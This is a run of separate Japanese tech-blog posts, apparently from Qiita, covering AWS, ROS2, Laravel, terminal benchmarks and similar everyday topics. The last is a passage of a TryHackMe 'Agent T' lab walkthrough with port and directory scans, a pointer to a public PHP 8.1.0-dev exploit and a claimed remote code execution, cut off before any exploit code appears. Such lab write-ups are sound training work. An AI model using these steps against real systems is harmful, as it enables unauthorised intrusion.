またfindコマンドを使ってみるとデスクトップに存在することが確認できます。
```
sh-3.2# find ./ -name "sample01.txt" -type f
find: .//Pictures/写真ライブラリ.photoslibrary: Operation not permitted
.//Desktop/sample01.txt
```

上記の通りやってもらえれば基本的にできると思いますが詰まった時は正確なファイルパスを確認しコピーすること。手入力だと打ち間違いにも気づかないので。


## 個人的な振り返り

行う手順を書き出すこと。
・EC2に置いているファイルをローカルに落とす必要があるためにまずはキーペアのファイル名が必要。
・どのEC2からどのファイルをダウンロードするのか？
・EC2に置いているファイルをどこに転送するのか？
などの手順を書き出してみると必要なコマンドができる。


参考にしたドキュメント

https://qiita.com/jun_aws/items/62c248c5b06a3051a27d
Ubuntuで色々なパフォーマンスの状態を見る

AMRを開発しているときに異常な挙動を示して解析の必要があったり、量産品でパフォーマンスの見積もりをするためにコマンドを使って各パフォーマンスの値を確認します。

社内メモを兼ねたいつもとりあえず自分が確認するものを書きます。
説明が長くなりそうなのはリンク貼っておくだけです…


# CPU中心に全般

## top
計算資源を食っているプロセスを確認する。
無限ループなどで無駄に意図せずリソースを食ってる場合はシングルコアの100%近くにいたりする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3817040/b07de767-6273-a9d8-bbc0-3523f51a47e8.png)


## vmstat

CPU RAM DiskI/Oの概要が見える。
実行待ちに並んでいるプロセス数(r)やI/O待ってたりするプロセス(b)が多くいないかとかCPUのidle率がそこそこあるか(id)をよく見ている。
RAMに関してはfreeが少ないとやばいわけではないので注意。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3817040/e722ff1e-0a50-31dc-df62-6e7a636cdef1.png)

## docker stats
動作しているコンテナのCPU使用率・RAMの使用率などが見える。

https://docs.docker.jp/engine/reference/commandline/stats.html

## perf
Linuxのsystemcallのボトルネック調べるために使うやつ。

https://qiita.com/ryuichi1208/items/87658621d332d31b9450

## strace

perfで大体概要見たら、さらに追い込むために使う。
そもそもstraceが重いのでずっと動かすのはNG
https://qiita.com/t_ymgt/items/7f13c89b08b889da2146


# ネットワーク系

## nethogs

どのプロセスがどれくらい通信量を使っているかを可視化する。


## ethtool
「全二重の通信のつもりなのに半二重になってないか？」とか「そもそもEthernet抜けてない？」みたいなときに使う

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3817040/11b214ae-62e5-bea2-fde0-21dda25077fc.png)


## iwconfig
wifiの強度どれくらい？とか調べたいときに使う
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3817040/44937ba3-1075-3753-7b4d-9edeeb363867.png)




# こいつらってそもそも全部インストール済みなの？

結構デフォルトでは入っていない。
でも本番環境には解析用ツールなんて入れたくない。

なのでこういうdocker imageを使う
https://hub.docker.com/repository/docker/industryalphainc/ubuntu-debug-tools/general

随時追加予定
Your entry isn't a valid increment



+ [Your entry isn't a valid increment - datatable with OpportunityLineItem.UnitPrice when More Decimals on Price is enabled](https://trailhead.salesforce.com/trailblazer-community/feed/0D54V00007cmQV1)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/328136/af168b6f-b32a-8170-b08c-9d8189991976.png)


既知の問題にあげっていますね。

+ [lightning:inputField with Number format (n,4) and (n,5) throws validation error on Chrome browser](https://issues.salesforce.com/issue/a028c00000qQ1i3AAC/lightninginputfield-with-number-format-n4-and-n5-throws-validation-error-on-chrome-browser)
備忘録　ラズパイ5 ROS2　②　Ubuntu Desktop 24.04LTSでROS2環境　rqt_graphとturtlesim

　前回、ROS2 Jazzyをインストールしました。

 ### 環境

- Raspberry Pi 5 8GB
- 追加ボード；NVMe Base for Raspberry Pi 5 (NVMe Base by Pimoroni)
- Crucial クルーシャル P2シリーズ 500GB 3D NAND NVMe PCIe M.2 SSD CT500P2SSD8
- 初期；RaspberryPi OS Desktop 64bit (Debian version: 12 (bookworm) Release date: March 15th 2024)
- 現在；Ubuntu Desktop ***24.04LTS***(64-bit)
- ROS2 Humbleではなく***Jazzy***

 ##### ROSノードとROSトピックの送受信の関係をGUIで図示
　ROSには、いくつかのツールがあるので動かします。
　Ubuntuマシンのターミナルで実行しています。
 仮想Pythonの状態で動かしますが、ここでは、pythonは使っていない。。。
 
```
$ source /opt/ros/jazzy/setup.bash

(ros2) yoshi@yoshi:~$ rqt_graph
```


![Screenshot from 2024-06-24 08-05-26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/407635/068fa946-285c-4038-e028-fca99af2a4ef.png)


　カメのプログラムです。

```
(ros2) yoshi@yoshi:~$ source /opt/ros/jazzy/setup.bash
(ros2) yoshi@yoshi:~$ ros2 run turtlesim turtlesim_node
```

![Screenshot from 2024-06-29 20-15-11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/407635/1f098383-78f7-827f-8cbb-f1b92443b2a5.png)

　動かしてみます。
 ```
 (ros2) yoshi@yoshi:~/ros2_ws$ ros2 topic pub --once /turtle1/cmd_vel geometry_msgs/msg/Twist "{linear: {x: 2.0, y: 0.0, z: 0.0}, angular: {x: 0.0, y: 0.0, z: 5.0}}"
publisher: beginning loop
publishing #1: geometry_msgs.msg.Twist(linear=geometry_msgs.msg.Vector3(x=2.0, y=0.0, z=0.0), angular=geometry_msgs.msg.Vector3(x=0.0, y=0.0, z=5.0))
```
　何度か動かしました。

![Screenshot from 2024-06-29 20-37-24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/407635/7a3afe1b-66ed-b950-d03e-66835b01e6e2.png)

　ここで、rqt_graphの左上のリフレッシュ・アイコンをクリックします。
 　ROSノードのturtlesimが表示されました。たぶん。
  
 ![Screenshot from 2024-06-29 20-39-36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/407635/2b78cfbf-d8e5-e377-0e8b-693b9ca07e87.png)

　キーボードからメッセージを送るパッケージteleop_twist_keyboardはインストールされているようです。
 
```
(ros2) yoshi@yoshi:~$ ros2 run teleop_twist_keyboard teleop_twist_keyboard --ros-args -r /cmd_vel:=/turtle1/cmd_vel
```
　ここで、rqt_graphの左上のリフレッシュ・アイコンをクリックします。
 　ROSノードのteleop_twist_keyboardからturtlesimへメッセージが送られている様子が表示されました。たぶん。
  
  ![Screenshot from 2024-06-29 20-53-47.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/407635/bafd8993-1c6b-7b4c-ad28-218d8765fa1f.png)

　ただ、亀は動いていないように見えます。

-----------------
<h2>備忘録　ラズパイ5 ROS2</h2>

[①　ハードの用意とUbuntu Desktop 24.04LTS](https://qiita.com/jamjam/items/9ad621bda6ab2e1d325b)

[②　Ubuntu Desktop 24.04LTSでROS2環境　rqt_graphとturtlesim](https://qiita.com/jamjam/items/b7bed8ec9ff68426ac8d)

[③　Ubuntu Desktop 24.04LTSでROS2環境　Python その１ responder（セットアップ）](https://qiita.com/jamjam/items/d124c662813085bc69e3)

[④　Ubuntu Desktop 24.04LTSでROS2環境　Pythonその２responder（コーディングと実行；失敗）](https://qiita.com/jamjam/items/d488e2e4fa88d9882626)

[⑤　Ubuntu Desktop 24.04LTSでROS2環境　C++ その1 セットアップ main.c](https://qiita.com/jamjam/items/4bba331c08805ccda0a8)

[⑥　Ubuntu Desktop 24.04LTSでROS2環境　C++ その2 セットアップ pub.cpp rqt_graph](https://qiita.com/jamjam/items/51eeb26400517883aa59)

--------------

https://qiita.com/jamjam/items/692568361dde688fad16
e2 studioに乗り換えました

CS+のプロジェクトにmruby/cのsrcをコピーしてコンパイルしたところc_object.cのコンパイルでエラーになります。

[ルネさんのコンパイラーの問題](https://github.com/mrubyc/mrubyc/issues/211)と思われますが、根が深そうなのであきらめてe2 studioでgccを使うことにします。

ボードが正常に使えることがわかったのでCS+も無駄ではなかったと思います。

まず、ディスクが小さいので苦労してインストールしたCS+を消すところから作業を始めるわけですが、CS+はたくさんプログラムをインストールしてくれていて、消すのに一苦労しました、

またRenesas Flash Programmerはおそらくe2 studioでも使えると思われ、これだけ残しました。

ちょっと古い2021年のものをダウンロードしてインストールしたら、失敗するので、サイトにあった一番古いv7.8.0をダウンロードしてインストールしました。

CS+はコンパイラーがいっしょにインストールされるのですが、e2 studioではgccは別途インストールが必要でした。

ルネサスのオープンソースのページにあるのですが、これはCS+やe2 studioがあるサイトと登録が違っていて、別に登録が必要です。またパスワードを忘れてパスワードリセットをしたのですが、送られてくるメールのURLが<>でくくられていて、クリックすると>が付いて不正なURLになります。。。

プロジェクトを新しく作って、ビルドしたところジェネレートされるstart.sがエラーになるので、コメントアウトしたらところ無事ビルドできました。

```
/* setup FPSW */
//    mvtc    #100h, fpsw
```

CS+で試したLチカコードをコピペしてビルドしRenesas Flash Programmerでmotを焼いたところ動作しました。

やれやれ。

gcc 4.8.4のactivation codeはパスワードリセットした時に送られてくるメールにあるコードとは別で、ページにログインして左上にカーソルを持っていくと、出てくるダッシュボードの中の「Your legacy (kpitgnutools.com) activation code is:」にあります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/a1c8211b-826f-659e-44a0-e17122f820b6.png)
Terminatorが遅い!?

# ターミナルエミュレータによる実行速度の差
本題なのですが、自分はメインでTerminaotrを使用しています。カスタマイズも楽で割と使い勝手が良いです。
ですが、触っているうちにどうやらこれは重めのターミナルエミュレータではないかと思いましたので実際に実行して簡単にですが確かめてみました。

## 検証環境
```:machine specs
Ryzen 5 4500 (base 3.6GHz, boost 4.1GHz)
DDR4 3200MHz 15.5GiB
M.2 2TB PCIExpress Gen3
GeForce GTX980Ti
```

```bash
$ uname -a   
Linux haruki 6.5.0-44-generic #44~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Jun 18 14:36:16 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

$ cat /etc/os-release 
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
```

### 実行するプログラム

```main.c
#include <stdio.h>

int main(void) {
  for (int i = 0; i < 10000000; i++) {
    printf("%d\n", i);
  }

  return 0;
}
```

+ コンパイル
```bash:gcc
gcc -Ofast -mtune=native -march=native -mfpmath=both main.c -o fast.out
```

+ 実行
```bash
time ./fast.out
```

また、これに加えて`ls -lR`の実行速度も測ります。

# 結果

| エミュレータ | fast.out | ls -lR |
|:-:|:-:| :-: |
| Terminator |  17.85s |6.24s |
| GNOME Terminal  | 17.60s  | 3.79s | 
| VSCode Terminal  | 17.93s  | 3.92s | 
|  Alacritty | 18.09s  | 4.66s |
| WezTerm | 18.34s | 7.87s |

## 結論

ちょっと遅いけど大差なし

Alacrittyが速いと噂でしたがあんまりですね......
【初心者・怠惰な人・小心者向け】未経験エンジニアが2か月間実践してみたアウトプットのすべて

## はじめに
こんにちは！2024年4月に新卒で入社し、現在エンジニアとして働いている @nyu_ki と申します。
突然ですが皆さん、日々学んだことをアウトプットできているでしょうか。学びの効率を上げるためにはアウトプットしろ！とよく言われていると思います。私もよく言われてきました。しかし、エンジニア未経験だと技術的に人に教えられることもほとんどなく、何もアウトプットできない…と思ってしまいますよね。私も全くの未経験だったので、とても分かります！

そんな中で私が見つけた、簡単にできるアウトプット方法をお伝えできればと思います。
ぜひ記事を読んでもらいたいのは、タイトルにある通り、
**・エンジニア未経験の方　・怠惰な方　・消極的で小心者な方**
です！最後までお付き合いいただければ幸いです。


## 私が実践したアウトプット
①プライベートで言語化能力を高めること。
②週の終わりに、時間を設けて振り返りを書くこと。
③わからないことをわからないと表明すること。

以上三つです。当たり前に出来ている方もいると思いますが、実は出来ていないな…という方もいらっしゃるのではないでしょうか。これらのアウトプットについて、一つずつ紹介していきます。


## プライベートで言語化能力を高める
まず第一は自分にしか見えないプライベートでアウトプットすることです。
私は読書が趣味で、小説、エッセイ、ビジネス本など様々なジャンルの本を読みます。ただ読むだけではなく、私用のPCに感想をwordで一冊一冊まとめる、という作業を学生時代から継続しています。また、映画を見た時も、どんなにつまらない映画であっても、スマホアプリでレビューを書きます。
始めのほうは、「面白い本だった」「つまらない映画だった」という程度の感想しか出てこないかもしれませんが、続けるうちに言語化能力が高まっていきます。
本や映画で感じたことをアウトプットすることで内容がより深く頭に残りますし、仕事、ひいては人生で役立つ言語化能力を高めることができるので、おすすめのやり方です。どんなに拙い文章を書いても、だれにも迷惑はかけません。周りの目をついつい気にしてしまうそこのあなたも、ぜひ気楽にやってみてください！


## 一週間の振り返りを書く
次に私が仕事で取り組んだのは、一週間の振り返りを書くということです。エンジニアという仕事に就いていると、在宅勤務が多く、ついついボーっとしてしまうなど、無駄な時間が生まれがちではないでしょうか。恥ずかしながら、私はそうでした。そこで、週に一度振り返りの時間を設けてアウトプットすることで、無駄な時間を減らしていこう、と考えたのです。参考までに私が今まで書いた振り返りの中からいくつか紹介します。

〇月×日：夕方に中抜けして体を動かしたが、あわただしくリフレッシュにはならなかった。中抜けするのならば時間に余裕をもってすべきだと感じた。
〇月△日：この日は午前に在宅ワーク、午後から出社をした。満員電車を避けることができ、電車の中の時間を有意義に使えたので、このスタイルもなかなか悪くないなと思った。

このように、ざっくりと時間の使い方などについて振り返っています。
毎日ではなく、週に一度振り返る形式を取りました。負担が大きすぎても継続しづらいかと思ったためです。私は非常に怠惰な人間です。そんな人が物事を続けるコツは、**ハードルをとことん低くする**ことだと確信しています。
そして、この振り返りも、誰にも迷惑をかけないやり方です。気が向いたときにでも、ぜひ振り返ってみてほしいですね。仕事の効率化に必ずつながると思います。


## わからないことを表明する
最後に、私が実践したことは「自分のわからないこと」を人に教える（共有する）ということです。

実際に、自分のslackチャンネルで分からないことをつらつらと書いていたら、〇〇すればいいんじゃない？と反応をもらったことが多々あります。その反応で簡単に解決できれば御の字ですし、簡単に解決できなくとも、わからないことをわからないと表明しただけで偉いのです。なぜなら、わからない箇所を明確に言葉に出来ているからです。ただし注意点は、「××がわからない！助けて！」と言うのではなく、必ず**仮説**を持ち、「○○だと思うのだけど、××がわからない！」と発信することです。そうすることで自分も深くまで理解しようと努めるようになりますし、質問に回答する側も負担を減らすことができます。
未経験の方こそ、「未経験ならでは」の視点で疑問を提起すると、意外と経験者の方に気づきを与えることもできますよ！気軽に疑問（と仮説）をぶつけてみてください。


## これからやりたいと思っていること
現在できていませんが、アウトプットに関して、今後やっていきたいことが二つあります。
一つ目は、最新ニュースを毎日読み、それをアウトプットすることです。
このブログを書いているまさに今日から開始しました。日々最新情報が更新されていくので、取り残されないように少しずつキャッチアップしていきたいですね。コツコツやっていこうと思っているので、良ければ皆さんも一緒に頑張りましょう。

二つ目は、もっと積極的に人に質問することです。
先述のように、わからないことをslackのチャンネルで発信する、程度のことはできるのですが、相手の時間を貰ってまで質問をする、ということに引け目を感じています。文面だけだと伝わらないことも多いので、すぐに会話でコミュニケーションをとっていけるようにしたいと思います。もちろん、少し調べるだけで解決できることは質問しないよう、いい塩梅を保っていくことが重要ですね。


## おわりに
最後になりましたが、アウトプットというものの捉え方について個人的な考えを述べさせていただきます。私はアウトプットのことを、**理解度を深くするためのツールに過ぎない**、と解釈しています。もちろん人によるでしょうが、どれだけきれいにまとめても、私は書いたものを後で見返すということはしません（私が怠惰なだけかもしれません…）。
書く目的は、自分の頭の中を整理するためであったり、記憶に定着させやすくするためです。そのように考えた方が、アウトプットするハードルが下がります。きれいにまとめなくてはいけない、と決めていると、私の場合は腰が重くなってしまいます…。継続してアウトプットするために、簡単に行動できるようにしちゃいましょう！

言語化能力に自信がない方は、紹介したように、プライベートで感じたことからどんどん発信していくことがおすすめです。誰にも迷惑がかからないので、ぜひやってみてください！

最後までお付き合いいただきありがとうございました！この記事を読んで、少しでも得られるものがあったのなら幸いです。
イベント操作で画像を表示するようにするー3

お疲れ様です。

昨日は疲れて寝てしまったので、今朝勉強しました。
前回の続きで、別のボタンを選択したときに、すでに表示されている画像を隠し、新しく画像を表示させる方法について勉強しました。

まず最初に選択したボタンの対になる画像が表示されます。
![251.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3810013/98b83c06-32c1-e170-d25a-c5ad2df13697.png)

別のボタンを選択すると、前に表示されていた画像が隠れます。
![252.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3810013/00d9babb-033b-b56f-f43b-bbab5a67400a.png)

「選択」ボタンを押すことで、新しく画像が表示されました。
![253.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3810013/7fc3bd90-51e0-eeff-9bbb-fa6f65828124.png)

と、ここまでの流れを画面撮影したのに、埋め込めませんでした…
windowsアプリで撮影、編集したから対応してないのだろうと思い、いつも通りスクショを撮ってきましたsweat:

以下コードです。
前回の投稿でコメントをくださった方、ありがとうございました！
![スクリーンショット 2024-07-25 070417.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3810013/87c5cbbf-075f-08ec-35f1-ef318977e370.png)

ここからは、前回書いたように、画像にアニメーションをつけていきたいと思います。
AWS S3 のストレージ料金をストレージクラスごとにまとめる（東京リージョン）

| Name       |          Keep |     PUT |     GET | Lifecycle | Retrieval |    Retrieval |
|------------|--------------:|--------:|--------:|----------:|----------:|-------------:|
| (Unit)     |        $/GB/M | 1000req | 1000req |   1000req |   1000req |           GB |
| STD        | 0.0250 (100%) |   0.005 | 0.00040 |         - |         - |            - |
| STD - IA   | 0.0138 ( 55%) |   0.010 | 0.00100 |     0.010 |         - |        0.010 |
| Glacier IR | 0.0050 ( 20%) |   0.020 | 0.01000 |     0.020 |         - |        0.030 |
| Glacier DA | 0.0020 (  8%) |   0.065 | 0.00037 |     0.065 |    0.1142 |  (std) 0.022 |
| Glacier DA |               |         |         |           |    0.0250 | (bulk) 0.005 |

| Name       | 説明                                                                                            |
|------------|-----------------------------------------------------------------------------------------------|
| STD        | 標準                                                                                            |
| STD - IA   | アクセスは高いが維持費安い。標準 - 低頻度（ミリ秒単位のアクセスが必要な、長期保管だがアクセス頻度の低いデータの場合）                                  |
| Glacier IR | アクセスは高いが維持費安い。Glacier Instant Retrieval *** - ミリ秒単位で瞬時に取り出し、四半期に 1 回アクセスするような長期保存のアーカイブデータの場合 |
| Glacier DA | 維持費安いが取り出しは大変。移行金額注意。Glacier Deep Archive *** - 1 年に 1〜2 回アクセスされ、12 時間以内に復元できる長期のデータアーカイブの場合  |
| Glacier DA |                                                                                               |
【Laravel】Illuminateにある主要メソッド Cache編

## はじめに
Laravelでよくでてくる``Illuminate\~\~``って結局何だ？！と思いメソッドをまとめました。

### 言語
- Laravel8

## Illuminateとは
- Laravelが提供する様々なサービスやコンポーネントを構成するための基盤を提供している。
- サービスやコンポーネントは``Illuminate``名前空間内に整理されている

### どこにあるか？
**``プロジェクトディレクトリ\vendor\laravel\Framework\src\Illuminate\~``**

## Illuminate\Cache
- キャッシュ機能を提供。データベースやその他の外部リソースへのアクセスを減らし、アプリケーションのパフォーマンスを向上させることが期待できる。

## Illuminate\Cache\Repository

- ``Repository``クラスはキャッシュ機能を管理するためのメソッドを提供。

### ``get($key, $default = null)``
- 指定されたキャッシュデータを取得
    ```Laravel
     $value = Cache::get('key', 'default');
     ```

### ``put($key, $value, $minutes)``
- 指定されたキーにキャッシュデータを保存
    ```Laravel
     Cache::put('key', 'value', 5);
     ```

### ``forever($key, $value)``
- 指定されたキーに永続的なキャッシュデータを保存
    ```Laravel
     Cache::forever('key', 'value');
     ```

### ``forget``
- 指定されたキーのキャッシュデータを削除
    ```Laravel
     Cache::forget('key');
     ```

### ``has``
- 指定されたキーのキャッシュデータが存在するか確認
    ```Laravel
     if (Cache::has('key')) {
     
     }
     ```

:::note
クロージャとは？
匿名関数とも呼ばれ、名前を持たない関数のこと。
外部スコープから変数をキャプチャして使用できる。
```PHP:PHP
$message = 'Hello';

$greet = function($name) use ($message) {
    return "$message, $name!";
};

echo $greet('Qiita'); // "Hello, Qiita!"
```
:::

### ``remember($key, $minutes, Closure $callback)``
- 指定されたキーのキャッシュデータを取得。存在しない場合は、クロージャの結果をキャッシュに保存して返す。
    ```Laravel
     $value = Cache::remember('key', 10, function() {
         return 'computed'; // キャッシュに保存する値
     });
     ```

### ``rememberForever($key, closure $callback)``
- 指定されたキーのキャッシュデータを永続的に取得。存在しない場合は、クロージャの結果をキャッシュに保存して返す。
    ```Laravel
     $value = Cache::rememberForever('key', function() {
         return 'computed'; // キャッシュに保存する値
     });
     ```

### ``pull($key, $default = null)``
- 指定されたキーのキャッシュデータを取得し、その後キャッシュから削除する。
    ```Laravel
     $value = Cache::pull('key');
     ```
     
:::note
インクリメントとは？
値を1増加させる操作
:::

### ``increment($key, $value = 1)``
- 指定されたキーのキャッシュデータをインクリメントする。

    ```Laravel
     Cache::increment('key');
     ```
     
- カウンタの値を増加させたい場合に使用。ページビュー数や在庫数の増加など。

:::note
デクリメントとは？
値を1減少させる操作
:::

### ``decrement($key, $value = 1)``
- 指定されたキーのキャッシュデータをデクリメントする。

    ```Laravel
     Cache::decrement('key');
     ```

- カウンタの値を減少させたい場合に使用。在庫数の減少やカウントダウンなど。


## 私のIlluminate関連記事
https://qiita.com/Jisu/items/47361c5c1a80ad71655c

https://qiita.com/Jisu/items/c92501a4595da0e6e2c3

https://qiita.com/Jisu/items/2e642698c3ce9b141c2f

https://qiita.com/Jisu/items/133c47cd2aea42a1dec7

https://qiita.com/Jisu/items/da70992ec3196d0ed8cb
【Suno AIでつくった楽曲】しろぶりゅーの歌 ver.6 (口笛、Hip-hop Beat、泉まくらさん + PHOENIX-Long Distance Call 風編曲)【動画 1分56秒】【YouTubeチャンネルからの転記です】

この記事は、わたしの[YouTubeチャンネル](https://bit.ly/Yamanaka-YouTube "Living without things. 持たない生き方 手放す生き方")にある公開動画を転記しております。
( どこかのタイミングで、プログラミング-Google Apps Script or iPaaS-Zapier をつかって自動転記させる予定です )

転記のための時間コストを少なくしたいので、文字装飾( Markdown記法 )を極力つかわずに書いております。

こちらが動画内容です👇

***

![01 YouTube再生中の画像 Suno AI _ しろぶりゅーの歌 ver.6 1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/386308/07a818ef-fbba-8576-ebdc-ecde87a6279b.png)




* # 動画URL
    * https://youtu.be/tkYn6cOv5mM

<br>

* # 動画タイトル
    * 【Suno AIでつくった楽曲】しろぶりゅーの歌 ver.6 (口笛、Hip-hop Beat、泉まくらさん + PHOENIX-Long Distance Call 風編曲)【動画 1分56秒】

<br>

* # 動画の説明欄(一部を抜粋)

📅撮影日 = 2024-07-24(水)

Suno AIとは、文章から音楽を生成することができるAI( Text-to-Music-AI )です。
わたしは、2024-04-02(火)に初めてSuno AIで有償プランを契約してから、時々楽曲をつくって遊んでいます。

🎦【Suno AI】文章から音楽を生成するAI( Text-to-Music-AI )で、3分間で2曲、6分間で4曲作りました【試聴可能】1)伴侶の曲 2)税理士の曲【動画 16分11秒】
https://youtu.be/QKfhk4HgQ_g

🎦“Suno AIでつくった楽曲”シリーズ
https://www.youtube.com/playlist?list=PLpQhBHT4oghMLdiSVqwvSs_Z5y0H4VGOe

🎦“効果的にSuno AIを活用するヒント”シリーズ
https://www.youtube.com/playlist?list=PLpQhBHT4oghPuaNOVZn-N53wVvsBkeHdI


今回は、Suno AIでつくった曲を WAV で出力してから、動画編集いたしました。

スロージョギングの途中に、早朝の中目黒で偶然出会った「しろぶりゅー」-ShiroBrew-のテーマソング( イメージソングは和製英語です )を、1人のファンとして自主的につくりました。
つまり「しろぶりゅー」のファンメイドテーマソングです。

ぜひ聴いてみてください。
そして、ぜひみなさんも、あなたが大好きなお店やブランドや企業のために楽曲をつくってみてください！

作曲日:
2024-07-20(土)

Suno AI 契約の種類:
Pro Plan

楽曲の正式名称:
しろぶりゅーの歌 #6

Suno AI Library URL:
https://bit.ly/ShiroBrew-06

Custom Mode: On

Audio Inputs: Not Used

With Vocals:


---


Lyrics(without Meta tags):

真っ白な心

そよ風感じる

コーヒーの香りと
真っ白な心


---


Lyrics & Meta tags:

[Break]

[Intro]

[Whistling]

[Verse]
真っ白な心

[Verse 2]
そよ風感じる

[Chorus]
コーヒーの香りと
真っ白な心

[Whistling]

[Outro]


---


Suno AIへの指示文章( プロンプト/Prompt ): Custom Modeの場合は”Style of Music”を指定します。


🇬🇧English

[Waltz][Female voice][Lo-fi]


🇯🇵日本語訳

[ワルツ][女性の声][ローファイ]


---


Suno AI 公式URL
https://accounts.suno.ai


SHIROノMONO 公式URL - Instagram
https://www.instagram.com/shiro_nomono


---


✓ 🎥この動画と関連が強いわたしの動画 ↙
　・“Suno AIでつくった楽曲”シリーズ
　https://www.youtube.com/playlist?list=PLpQhBHT4oghMLdiSVqwvSs_Z5y0H4VGOe


　・“効果的にSuno AIを活用するヒント”シリーズ
　https://www.youtube.com/playlist?list=PLpQhBHT4oghPuaNOVZn-N53wVvsBkeHdI


　・“しろぶりゅー ファンメイドソング”シリーズ
　https://www.youtube.com/playlist?list=PLpQhBHT4oghPk5-_YwWl499DNAOVKlcvZ


✓ 🎥Shortened URL for this video | この動画の短縮URL ↙
　https://bit.ly/4daUCTG
[AWS #20] EFS

<!--
 <font color="c00000"></font> 赤
-->
## はじめに
こんにちは今回はストレージサービスである「<font color="c00000">**EFS**</font>」についてご紹介いたします。

## Amazon EFS
Amazon EFSは「**Elastic File System**」の略称です。（AWSが提供している**共有ファイルストレージ**）

複数のLinuxサーバーから、[NFSプロトコル](https://aws.amazon.com/jp/compare/the-difference-between-nfs-smb/)でマウントして使用することができます。
![AWS20_01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3806875/16fc33b4-6045-9d2a-e0bf-880e42046306.png)
上図のようにEFSは、**複数のEC2インスタンス**、**オンプレミスサーバ**から「マウント共有」して利用することができます。

### Storage Gateway
Storage Gatewayは、オンプレミスにあるサーバーとS3などのAWS上のストレージを**連携**させることができます。AWS上のストレージにデータを保存することで <font color="c00000">**「可用性」「耐障害性」の向上**</font>などが期待できます。
![AWS20_02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3806875/a95f9feb-ee27-63c4-f44c-2f9d4d85215b.png)

### Snowball
:rolling_eyes: スノーボールですか？
:upside_down: あなたが思っている雪玉ではないです。**物理ストレージデバイス**を使用してAWS環境に<font color="c00000">**ペタバイト級の大量のデータを転送する**</font>ことができるサービスになります。
## おわりに
今回のちょっとしたまとめになります。

:::note info
EFSとは、AWSが提供している<font color="c00000">**共有ファイルストレージサービス**</font>
:::
:::note info
Storage GatewayはAWSが提供する、<font color="c00000">**ゲートウェイ型サービス**</font>
:::

最後までお読みいただきありがとうございました！
>>日頃より活用している参考書です。
>> **「参考書」**
[AWS認定クラウドプラクティショナー改定第3版](https://x.gd/19i6N)
>
> **「AWS公式サイト」**
[EFS](https://aws.amazon.com/jp/efs/)
>
> **「参考元」**
[Amazon EFS入門 S3、EBSとの違いと使い方](https://business.ntt-east.co.jp/content/cloudsolution/column-64.html)
>
> **「Youtube」**
[【CLF-C02：AWSクラウドプラクティショナー】第24回 ストレージサービス(EFS・Storage Gateway・Snowball) (クラウドテクノロジーとサービス分野)](https://www.youtube.com/watch?v=l1SquEh0Qkc&ab_channel=AWS%E8%B3%87%E6%A0%BC%E5%AF%BE%E7%AD%96%E8%AC%9B%E5%BA%A7)
(まとめ)レベルメーターまとめ




(まとめ)レベルメーターまとめ


-----------------------

![o_coq215.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/840352/f65903a9-be36-28e3-b10b-7597823683a0.jpeg)


-----------------------

●棒グラフタイプ

https://qiita.com/caa45040/items/a36f44b3d9696e0fa6e3


https://qiita.com/caa45040/items/47b67a3d79c16b8c2f2f


https://qiita.com/caa45040/items/fc856d56ecaf77c95c97


https://qiita.com/caa45040/items/881baf9cd577fc08f04f


●円形タイプ


https://qiita.com/caa45040/items/60cae6e56e9f3d566853


https://qiita.com/caa45040/items/66deaabe96744ed601be


●バータイプ


https://qiita.com/caa45040/items/d9d901fca1f0d5c00707


https://qiita.com/caa45040/items/e59a93e3e183724d104a


https://qiita.com/caa45040/items/7e5fce3b6358e69868da
【TryHackMe】Agent T：Walkthrough

# 概要

TryHackMe「Agent T」のWalkthroughです。

https://tryhackme.com/r/room/agentt

# Task1

## **Q1**.*What is the flag?*

**Hint**.*Look closely at the HTTP headers when you request the first page...*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.91.38 -oN nmap_result
PORT   STATE SERVICE VERSION
80/tcp open  http    PHP cli server 5.5 or later (PHP 8.1.0-dev)
|_http-title:  Admin Dashboard
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|80|http|PHP cli server 5.5 or later (PHP 8.1.0-dev)|

`80`番ポートにアクセスするとダッシュボードページが表示されました。

![home page.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f53b7b61-0579-5b0c-d917-0565fd790db3.jpeg)

ディレクトリ列挙を行います。

```
$ dirsearch -u http://10.10.91.38 -x 404
[16:18:59] 200 -  199B  - /.travis.yml
[16:19:08] 200 -   22KB - /404.html
[16:21:47] 200 -    4KB - /gulpfile.js
[16:22:47] 200 -    1KB - /package.json
[16:22:52] 200 -  627KB - /package-lock.json
```

悪用できそうなものは見つかりませんでした。

`80`ポートのサービスバージョンで脆弱性情報を検索するとPoCが見つかりました。

https://www.exploit-db.com/exploits/49933

実行するとRCEに成功しました。

```
$ python exploit.py       
Enter the full host url:
